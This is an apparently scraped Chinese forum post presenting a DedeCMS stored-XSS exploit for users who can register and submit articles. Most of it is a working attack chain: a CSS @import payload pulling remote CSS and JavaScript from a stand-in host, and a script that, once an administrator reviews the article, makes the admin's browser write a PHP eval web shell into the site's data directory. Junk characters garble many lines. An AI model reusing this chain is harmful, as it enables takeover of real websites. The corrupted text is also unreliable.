dedecms xss oday通杀所有版本 可getshell

admin

<DIV id=read_tpc mb10?>漏洞原因：由于编辑器过滤不严，将导致恶意脚本运行。可getshell
为什么说它是ODay呢，能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
- o/ P7 `+ u2 T# k+ t8 ]1 M& l$ t目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。
下面说说利用方法。
, P/ U" ^$ p# n" `条件有2个：
1.开启注册
8 \8 O' Q( K; h7 i: N: L0 |0 S2.开启投稿
, J1 j/ g9 ^* P注册会员----发表文章
0 Q9 O6 W* Y0 |0 B* E7 p/ ~内容填写：
. y( v# K4 n0 B, y5 @6 _: o, r4 P# A, a, u复制代码
+ Z2 F# ^: G0 s0 |- D<style>@im\port'\http://xxx.com/xss.css';</style>
新建XSS.Css
8 D2 |. X7 q7 w8 z% A复制代码
' Z* @% P* Z: s.body{
background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }
1 K) |6 J5 E3 j( C2 a1 I- ~新建xss.js 内容为
复制代码
1.var request = false;
2.if(window.XMLHttpRequest) {
* P2 U: o  W8 v5 M3.request = new XMLHttpRequest();
; l5 I( o, M3 a4 h5 m4.if(request.overrideMimeType) {
5.request.overrideMimeType('text/xml');
9 E7 M! m* s! @; s6.}
7 D1 ?& ?) w" q% x* ]7.} else if(window.ActiveXObject) {
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
' o0 @. O( A. r- T/ k9 @6 g8 j. O: g9.for(var i=0; i<versions.length; i++) {
10.try {
2 @  f- B+ R. a. f8 Z$ y11.request = new ActiveXObject(versions);
12.} catch(e) {}
13.}
14.}
15.xmlhttp=request;
/ C: n: z$ \: X# f16.function getFolder( url ){
17. obj = url.split('/')
18. return obj[obj.length-2]
1 {3 o0 F9 H4 r6 j1 s" `- U: e19.}
7 X% ^9 u# Q1 M6 A/ X% G20.oUrl = top.location.href;
21.u = getFolder(oUrl);
22.add_admin();
23.function add_admin(){
! ^! h! o: J4 [6 }8 ~0 E24.var url= "/"+u+"/sys_sql_query.php";
25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
! u3 [: t- i+ D7 x4 y( Y$ G26.xmlhttp.open("POST", url, true);
27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
28.xmlhttp.setRequestHeader("Content-length", params.length);
29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
30.xmlhttp.send(params);
: m, ?2 X* c* U7 _31.}
* w8 }7 D: ?6 U2 ?+ g2 B5 B当管理员审核这篇文章的时候，将自动在data目录生成一句话haris.php。密码cmd